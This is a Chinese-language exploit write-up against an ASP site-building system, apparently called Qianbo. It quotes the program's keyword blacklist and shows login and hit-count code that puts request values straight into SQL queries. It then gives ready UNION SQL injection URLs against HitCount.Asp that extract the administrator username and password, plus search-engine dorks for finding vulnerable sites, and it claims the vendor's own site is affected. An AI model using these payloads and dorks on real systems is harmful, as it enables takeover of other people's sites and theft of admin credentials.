程序都加入了防注入代码的,在NoSql.asp文件中7kccopyd-code

<%
If EnableStopInjection = True Then
    Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr
    Fy_In = "’|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    Fy_Inf = Split(Fy_In, "|")
    If Request.Form<>"" Then
        For Each Fy_Post In Request.Form
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=’JavaScript’>alert(’警告:参数非法!’);</Script>"
                    Response.End
                End If
            Next
        Next
    End If

    If Request.QueryString<>"" Then
        For Each Fy_Get In Request.QueryString
            For Fy_Xh = 0 To UBound(Fy_Inf)
                If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then
                    Response.Write "<Script Language=’JavaScript’>alert(’警告:参数非法!’);</Script>"
                    Response.End
                    Response.End
                End If
            Next
        Next
    End If
End If
%>


没有过滤cookie,不过程序在对变量传入时都限制了整型的,所以我也没办法。

继续看。

MemberLogin.Asp这个文件


Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql
LoginName = Trim(request.Form("LoginName"))
LoginPassword = Md5(request.Form("LoginPassword"))
Set rs = server.CreateObject("adodb.recordset")
sql = "select * from Qianbo_Members where MemName=’"&LoginName&"’"


没有加入防注入代码,不过却是登录验证页面,如果是MSsql数据库我们还好办点。

这个时候,在HitCount.Asp这个文件里发现,文件没有调用防注入代码

<%
Dim rs, m_SQL
Dim m_ID
m_ID = ReplaceBadChar(Request.QueryString("id"))
m_LX = ReplaceBadChar(Request.QueryString("LX"))
action = ReplaceBadChar(Request.QueryString("action"))
If action = "count" Then
    conn.Execute("update "&m_LX&" set ClickNumber = ClickNumber + 1 where ID=" & m_ID & "")
Else
    m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID
    Set rs = conn.Execute(m_SQL)
    response.Write "document.write("&rs(0)&");"
    rs.Close
    Set rs = Nothing
End If
%>


就是这个文件了。我们来构造注入语句
如下:
http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin   获取管理密码

http://127.0.0.1/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin
    获取管理帐号

关键字:
inurl:Search.Asp?Range=Product&Keyword=
inurl:ProductBuy.Asp?ProductNo=


官网也存在这个问题,通杀。
